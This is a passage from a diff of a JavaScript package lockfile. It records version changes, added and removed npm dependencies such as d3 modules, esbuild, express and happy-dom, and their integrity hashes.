"sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q=="], + + "d3-time-format": ["d3-time-format@4.1.0", "", { "dependencies": { "d3-time": "1 - 3" } }, "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg=="], + + "d3-timer": ["d3-timer@3.0.1", "", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="], + + "d3-transition": ["d3-transition@3.0.1", "", { "dependencies": { "d3-color": "1 - 3", "d3-dispatch": "1 - 3", "d3-ease": "1 - 3", "d3-interpolate": "1 - 3", "d3-timer": "1 - 3" }, "peerDependencies": { "d3-selection": "2 - 3" } }, "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w=="], + + "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="], + + "dagre-d3-es": ["dagre-d3-es@7.0.14", "", { "dependencies": { "d3": "^7.9.0", "lodash-es": "^4.17.21" } }, "sha512-P4rFMVq9ESWqmOgK+dlXvOtLwYg0i7u0HBGJER0LZDJT2VHIPAMZ/riPxqJceWMStH5+E61QxFra9kIS3AqdMg=="], + "damerau-levenshtein": ["damerau-levenshtein@1.0.8", "", {}, "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="], "data-uri-to-buffer": ["data-uri-to-buffer@4.0.1", "", {}, "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A=="], @@ -2527,7 +2757,7 @@ "dayjs": ["dayjs@1.11.13", "", {}, "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg=="], - "debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], "decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="], @@ -2553,6 +2783,8 @@ "define-properties": ["define-properties@1.2.1", "", { "dependencies": { "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" } }, "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg=="], + "delaunator": ["delaunator@5.0.1", "", { "dependencies": { "robust-predicates": "^3.0.2" } }, "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw=="], + "delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="], "denque": ["denque@2.1.0", "", {}, "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw=="], @@ -2577,12 +2809,14 @@ "didyoumean": ["didyoumean@1.2.2", "", {}, "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="], - "diff": ["diff@7.0.0", "", {}, "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw=="], + "diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="], "diff-sequences": ["diff-sequences@29.6.3", "", {}, "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q=="], "diffie-hellman": ["diffie-hellman@5.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "miller-rabin": "^4.0.0", "randombytes": "^2.0.0" } }, "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg=="], + "dingbat-to-unicode": ["dingbat-to-unicode@1.0.1", "", {}, "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w=="], + "dlv": ["dlv@1.1.3", "", {}, "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="], "dnd-core": ["dnd-core@16.0.1", "", { "dependencies": { "@react-dnd/asap": "^5.0.1", "@react-dnd/invariant": "^4.0.1", "redux": "^4.2.0" } }, "sha512-HK294sl7tbw6F6IeuK16YSBUoorvHpY8RHO+9yFfaJyCDVb6n7PRcezrOEOa2SBCqiYpemh5Jx20ZcjKdFAVng=="], @@ -2599,11 +2833,9 @@ "domelementtype": ["domelementtype@2.3.0", "", {}, "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="], - "domexception": ["domexception@4.0.0", "", { "dependencies": { "webidl-conversions": "^7.0.0" } }, "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw=="], - "domhandler": ["domhandler@5.0.3", "", { "dependencies": { "domelementtype": "^2.3.0" } }, "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w=="], - "dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="], + "dompurify": ["dompurify@3.3.2", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-6obghkliLdmKa56xdbLOpUZ43pAR6xFy1uOrxBaIDjT+yaRuuybLjGS9eVBoSR/UPU5fq3OXClEHLJNGvbxKpQ=="], "domutils": ["domutils@3.2.2", "", { "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" } }, "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw=="], @@ -2611,6 +2843,8 @@ "downloadjs": ["downloadjs@1.4.7", "", {}, "sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q=="], + "duck": ["duck@0.1.12", "", { "dependencies": { "underscore": "^1.13.1" } }, "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg=="], + "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="], "eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="], @@ -2639,7 +2873,7 @@ "enhanced-resolve": ["enhanced-resolve@5.17.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg=="], - "entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="], + "entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="], "environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="], @@ -2655,8 +2889,6 @@ "es-iterator-helpers": ["es-iterator-helpers@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-abstract": "^1.23.6", "es-errors": "^1.3.0", "es-set-tostringtag": "^2.0.3", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.6", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "internal-slot": "^1.1.0", "iterator.prototype": "^1.1.4", "safe-array-concat": "^1.1.3" } }, "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w=="], - "es-module-lexer": ["es-module-lexer@1.6.0", "", {}, "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ=="], - "es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="], "es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="], @@ -2671,7 +2903,7 @@ "es6-symbol": ["es6-symbol@3.1.4", "", { "dependencies": { "d": "^1.0.2", "ext": "^1.7.0" } }, "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg=="], - "esbuild": ["esbuild@0.25.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.1", "@esbuild/android-arm": "0.25.1", "@esbuild/android-arm64": "0.25.1", "@esbuild/android-x64": "0.25.1", "@esbuild/darwin-arm64": "0.25.1", "@esbuild/darwin-x64": "0.25.1", "@esbuild/freebsd-arm64": "0.25.1", "@esbuild/freebsd-x64": "0.25.1", "@esbuild/linux-arm": "0.25.1", "@esbuild/linux-arm64": "0.25.1", "@esbuild/linux-ia32": "0.25.1", "@esbuild/linux-loong64": "0.25.1", "@esbuild/linux-mips64el": "0.25.1", "@esbuild/linux-ppc64": "0.25.1", "@esbuild/linux-riscv64": "0.25.1", "@esbuild/linux-s390x": "0.25.1", "@esbuild/linux-x64": "0.25.1", "@esbuild/netbsd-arm64": "0.25.1", "@esbuild/netbsd-x64": "0.25.1", "@esbuild/openbsd-arm64": "0.25.1", "@esbuild/openbsd-x64": "0.25.1", "@esbuild/sunos-x64": "0.25.1", "@esbuild/win32-arm64": "0.25.1", "@esbuild/win32-ia32": "0.25.1", "@esbuild/win32-x64": "0.25.1" }, "bin": "bin/esbuild" }, "sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ=="], + "esbuild": ["esbuild@0.27.3", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.3", "@esbuild/android-arm": "0.27.3", "@esbuild/android-arm64": "0.27.3", "@esbuild/android-x64": "0.27.3", "@esbuild/darwin-arm64": "0.27.3", "@esbuild/darwin-x64": "0.27.3", "@esbuild/freebsd-arm64": "0.27.3", "@esbuild/freebsd-x64": "0.27.3", "@esbuild/linux-arm": "0.27.3", "@esbuild/linux-arm64": "0.27.3", "@esbuild/linux-ia32": "0.27.3", "@esbuild/linux-loong64": "0.27.3", "@esbuild/linux-mips64el": "0.27.3", "@esbuild/linux-ppc64": "0.27.3", "@esbuild/linux-riscv64": "0.27.3", "@esbuild/linux-s390x": "0.27.3", "@esbuild/linux-x64": "0.27.3", "@esbuild/netbsd-arm64": "0.27.3", "@esbuild/netbsd-x64": "0.27.3", "@esbuild/openbsd-arm64": "0.27.3", "@esbuild/openbsd-x64": "0.27.3", "@esbuild/openharmony-arm64": "0.27.3", "@esbuild/sunos-x64": "0.27.3", "@esbuild/win32-arm64": "0.27.3", "@esbuild/win32-ia32": "0.27.3", "@esbuild/win32-x64": "0.27.3" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg=="], "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], @@ -2683,8 +2915,6 @@ "escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="], - "escodegen": ["escodegen@2.1.0", "", { "dependencies": { "esprima": "^4.0.1", "estraverse": "^5.2.0", "esutils": "^2.0.2" }, "optionalDependencies": { "source-map": "~0.6.1" }, "bin": { "escodegen": "bin/escodegen.js", "esgenerate": "bin/esgenerate.js" } }, "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w=="], - "eslint": ["eslint@9.39.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", "@eslint/config-array": "^0.21.1", "@eslint/config-helpers": "^0.4.2", "@eslint/core": "^0.17.0", "@eslint/eslintrc": "^3.3.1", "@eslint/js": "9.39.1", "@eslint/plugin-kit": "^0.4.1", "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", "@humanwhocodes/retry": "^0.4.2", "@types/estree": "^1.0.6", "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.6", "debug": "^4.3.2", "escape-string-regexp": "^4.0.0", "eslint-scope": "^8.4.0", "eslint-visitor-keys": "^4.2.1", "espree": "^10.4.0", "esquery": "^1.5.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^8.0.0", "find-up": "^5.0.0", "glob-parent": "^6.0.2", "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "json-stable-stringify-without-jsonify": "^1.0.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", "optionator": "^0.9.3" }, "peerDependencies": { "jiti": "*" }, "bin": "bin/eslint.js" }, "sha512-BhHmn2yNOFA9H9JmmIVKJmd288g9hrVRDkdoIgRCRuSySRUHH7r/DI6aAXW9T1WwUuY3DFgrcaqB+deURBLR5g=="], "eslint-config-prettier": ["eslint-config-prettier@10.0.1", "", { "peerDependencies": { "eslint": ">=7.0.0" }, "bin": "build/bin/cli.js" }, "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw=="], @@ -2755,11 +2985,11 @@ "export-from-json": ["export-from-json@1.7.4", "", {}, "sha512-FjmpluvZS2PTYyhkoMfQoyEJMfe2bfAyNpa5Apa6C9n7SWUWyJkG/VFnzERuj3q9Jjo3iwBjwVsDQ7Z7sczthA=="], - "express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="], + "express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="], "express-mongo-sanitize": ["express-mongo-sanitize@2.2.0", "", {}, "sha512-PZBs5nwhD6ek9ZuP+W2xmpvcrHwXZxD5GdieX2dsjPbAbH4azOkrHbycBud2QRU+YQF1CT+pki/lZGedHgo/dQ=="], - "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="], + "express-rate-limit": ["express-rate-limit@8.3.1", "", { "dependencies": { "ip-address": "10.1.0" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-D1dKN+cmyPWuvB+G2SREQDzPY1agpBIcTa9sJxOPMCNeH3gwzhqJRDWCXW3gg0y//+LQ/8j52JbMROWyrKdMdw=="], "express-session": ["express-session@1.18.2", "", { "dependencies": { "cookie": "0.7.2", "cookie-signature": "1.0.7", "debug": "2.6.9", "depd": "~2.0.0", "on-headers": "~1.1.0", "parseurl": "~1.3.3", "safe-buffer": "5.2.1", "uid-safe": "~2.1.5" } }, "sha512-SZjssGQC7TzTs9rpPDuUrR23GNZ9+2+IkA/+IJWmvQilTr5OSliEHGF+D9scbIpdC6yGtTI0/VhaHoVes2AN/A=="], @@ -2787,7 +3017,7 @@ "fast-uri": ["fast-uri@3.0.6", "", {}, "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw=="], - "fast-xml-parser": ["fast-xml-parser@4.4.1", "", { "dependencies": { "strnum": "^1.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw=="], + "fast-xml-parser": ["fast-xml-parser@5.3.8", "", { "dependencies": { "strnum": "^2.1.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw=="], "fastq": ["fastq@1.17.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w=="], @@ -2849,7 +3079,7 @@ "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="], - "fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="], + "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="], "framer-motion": ["framer-motion@12.23.9", "", { "dependencies": { "motion-dom": "^12.23.9", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-TqEHXj8LWfQSKqfdr5Y4mYltYLw96deu6/K9kGDd+ysqRJPNwF9nb5mZcrLmybHbU7gcJ+HQar41U3UTGanbbQ=="], @@ -2867,7 +3097,7 @@ "functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="], - "gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="], + "gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="], "gcp-metadata": ["gcp-metadata@5.3.0", "", { "dependencies": { "gaxios": "^5.0.0", "json-bigint": "^1.0.0" } }, "sha512-FNTkdNEnBdlqF2oatizolQqNANMrcqJt6AAYt99B3y1aLLC8Hc5IOBb+ZnnzllodEEf6xMBp6wRcBbc16fa65w=="], @@ -2897,12 +3127,10 @@ "get-tsconfig": ["get-tsconfig@4.10.0", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-kGzZ3LWWQcGIAmg6iWvXn0ei6WDtV26wzHRMwDSzmAbcXrTEXxHy6IehI6/4eT6VRKyMP1eF1VqwrVUmE/LR7A=="], - "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="], + "glob": ["glob@13.0.6", "", { "dependencies": { "minimatch": "^10.2.2", "minipass": "^7.1.3", "path-scurry": "^2.0.2" } }, "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw=="], "glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="], - "glob-to-regexp": ["glob-to-regexp@0.4.1", "", {}, "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="], - "globals": ["globals@15.14.0", "", {}, "sha512-OkToC372DtlQeje9/zHIo5CT8lRP/FUgEOKBEhU4e0abL7J7CD24fD9ohiLN5hagG/kWCYj4K5oaxxtj2Z0Dig=="], "globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="], @@ -2911,8 +3139,6 @@ "google-logging-utils": ["google-logging-utils@1.1.3", "", {}, "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA=="], - "googleapis-common": ["googleapis-common@7.0.1", "", { "dependencies": { "extend": "^3.0.2", "gaxios": "^6.0.3", "google-auth-library": "^9.0.0", "qs": "^6.7.0", "url-template": "^2.0.8", "uuid": "^9.0.0" } }, "sha512-mgt5zsd7zj5t5QXvDanjWguMdHAcJmmDrF9RkInCecNsyV7S7YtGqm5v2IWONNID88osb7zmx5FtrAP12JfD0w=="], - "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], @@ -2921,10 +3147,14 @@ "gtoken": ["gtoken@7.1.0", "", { "dependencies": { "gaxios": "^6.0.0", "jws": "^4.0.0" } }, "sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw=="], + "hachure-fill": ["hachure-fill@0.5.2", "", {}, "sha512-3GKBOn+m2LX9iq+JC1064cSFprJY4jL1jCXTcpnfER5HYE2l/4EfWSGzkPa/ZDBmYI0ZOEj5VHV/eKnPGkHuOg=="], + "hamt_plus": ["hamt_plus@1.0.2", "", {}, "sha512-t2JXKaehnMb9paaYA7J0BX8QQAY8lwfQ9Gjf4pg/mk4krt+cmwmU652HOoWonf+7+EQV97ARPMhhVgU1ra2GhA=="], "handlebars": ["handlebars@4.7.8", "", { "dependencies": { "minimist": "^1.2.5", "neo-async": "^2.6.2", "source-map": "^0.6.1", "wordwrap": "^1.0.0" }, "optionalDependencies": { "uglify-js": "^3.1.4" }, "bin": "bin/handlebars" }, "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ=="], + "happy-dom": ["happy-dom@20.8.3", "", { "dependencies": { "@types/node": ">=20.0.0", "@types/whatwg-mimetype": "^3.0.2", "@types/ws": "^8.18.1", "entities": "^7.0.1", "whatwg-mimetype": "^3.0.0", 